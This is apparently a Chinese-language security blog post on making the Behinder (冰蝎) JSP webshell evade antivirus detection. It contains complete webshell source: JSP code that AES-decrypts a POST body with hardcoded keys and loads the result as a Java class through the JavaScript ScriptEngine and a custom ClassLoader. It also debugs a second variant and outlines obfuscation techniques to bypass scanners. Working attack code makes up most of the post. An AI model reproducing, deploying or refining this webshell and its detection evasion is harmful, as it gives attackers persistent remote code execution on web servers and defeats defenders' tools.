十一月整理的问题/冰蝎的混淆与简单免杀/1

0x01 前言

java因为语言上面的特性,在关键词上面始终很难再去做到免杀。比如Class.forName、getMethod、setAccessable、invoke、newInstance等一些方法。所以我认为在免杀中最需要突破的两个方向就是:1、java对象的生成。[这里不管是用各种类去调用他们的defineClass也好,还是类配合上方法或者构造器生成出的对象也好]2、关键词的绕过,不知道js中是否有这样的特性可以支持将这些函数给绕过。

0x02 正文

1、免杀

直接上免杀马分析。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<%@ page import="javax.script.ScriptEngine" %>
<%@ page import="javax.script.ScriptEngineManager" %>
<%
ScriptEngine engine = new ScriptEngineManager().getEngineByName("JavaScript"); //主要思路就是通过ScriptEngine执行JS代码
U demo = new U(this.getClass().getClassLoader()); //在里面将会是调用webClassLoader去define这个class
engine.put("request",request);
engine.put("response",response); //这句可以不需要
engine.put("session", session);
engine.put("pageContext",pageContext); //而且所有的参数可以pageContext里面取 上面其实可以都不需要 这几句的内容都是将engine里面放入初始化的变量,而这些变量都是从jsp中传入的。
engine.put("U",demo);//初始化engine的一些参数变量。
// 将代码放在这里面进行执行
String command = "try {\n" +
" load(\"nashorn:mozilla_compat.js\");\n" + //实现Import的功能,由于JDK8使用importPackage需要通过load进行导入mozilla_compat.js,但JDK7则没有load函数,所以使用下面的语句import在JDK7下运行会报错。
"} catch (e) {}\n" +
"importPackage(Packages.java.util);\n" +
"importPackage(Packages.java.lang);\n" +
"importPackage(Packages.javax.crypto);\n" +
"importPackage(Packages.sun.misc);\n" +
"importPackage(Packages.javax.crypto.spec);\n" +
"function define(classBytes){\n" +
" \n" +
" var defineClassMethod =U.getClass().getDeclaredMethod(\"g\",classBytes.getClass());\n" +
" print(defineClassMethod)\n" +
" defineClassMethod.setAccessible(true);\n" +
" var cc=defineClassMethod.invoke(U,new Array(classBytes));\n" + //JS类型和JAVA的类型转换出现了错误
" cc.newInstance().equals(pageContext);\n" +
"}\n" +
"if (request.getMethod().equals(\"POST\")){\n" +
" var k=new java.lang.String(\"e45e329feb5d925b\");\n" +
" session.putValue(\"u\",k);\n" +
" var c=Cipher.getInstance(\"AES\");\n" +
" c.init(2,new SecretKeySpec(k.getBytes(),\"AES\"));\n" +
" define(c.doFinal(new BASE64Decoder().decodeBuffer(request.getReader().readLine())));\n" +
"}"; //而且既然放在了js里面,这些字符串都是可以通过混淆的方式去绕过检测。所以最主要的还是在外面的eval和defineClaass里面了。
engine.eval(command);
%>

<%!
class U extends ClassLoader{
U(ClassLoader c){
super(c);
}
public Class g(byte []b){
return super.defineClass(b,0,b.length);
}
}
%>

再考虑之前的步骤,一些关键点还是需要着重强调一下。主要分为:1、 js和java在转换上面不兼容的问题。2、attempted duplicate class definition for name

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
	try {
load("nashorn:mozilla_compat.js");
} catch (e) {}
importPackage(Packages.java.util);
importPackage(Packages.java.lang);
importPackage(Packages.javax.crypto);
importPackage(Packages.sun.misc);
importPackage(Packages.javax.crypto.spec);
function define(classBytes){
var byteArray = Java.type("byte[]");
var int = Java.type("int");
var defineClassMethod = java.lang.ClassLoader.class.getDeclaredMethod(
"defineClass",
byteArray.class,
int.class,
int.class
);
defineClassMethod.setAccessible(true);
var cc = defineClassMethod.invoke(
Thread.currentThread().getContextClassLoader(),
classBytes,
0,
classBytes.length
);
return cc.getConstructor().newInstance().equals(pageContext);
}
if (request.getMethod().equals("POST")){
var k="39236cce7e199d43";
session.putValue("u",k);
var c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
define(c.doFinal(new BASE64Decoder().decodeBuffer(request.getReader().readLine())))
}

这里的马漏了定义Class U的声明。这里的defineClass,每次define的都是类名为U的class,所以会导致loader的父类WebAppClassLoader每次都是去定义Class u,所以第二次定义的时候会报错:attempted duplicate class definition for name。冰蝎的解决方案是每次都使用不同的classLoader去定义Class U这个类。(等会考证一下)

第二次生成的U对象。

image-20211122160828559

第一次生成的U对象

image-20211122160548485

可以看到每次传入的classloader都不相同。

image-20211122163748563

一个类的url和签名组成了这个类的CodeSource,根据policy文件的配置,一个CodeSource有一定的权限。policy文件根据类的url和类的签名来确定类,指定权限。而一个类的ProtectionDomain在这个类加载的时候初始化,也就是上图的内容。也可以看到protectionDomain是preDefineClass的方法中传过来的,并且两个参数都为null。并且在这一步赋值[ClassLoader中的方法]。

image-20211122164337465 image-20211122164437067

5b449bdc3073a

所以出错的关键在这里

1
2
3
4
5
6
var defineClassMethod = java.lang.ClassLoader.class.getDeclaredMethod(
"defineClass",
byteArray.class,
int.class,
int.class
);

应该改为

1
2
3
4
var defineClassMethod =U.getClass().getDeclaredMethod(
"g",
classBytes.getClass()
);

2、 混淆

简单概括:

1、 控制流平坦化

2、 利用java ast技术结合数组和加密算法对混淆的实现。

具体参考引用的第三篇文章

引用

https://xz.aliyun.com/t/9715 这篇主要是在本文思路的关键。

https://www.anquanke.com/post/id/151398

https://tttang.com/archive/1315/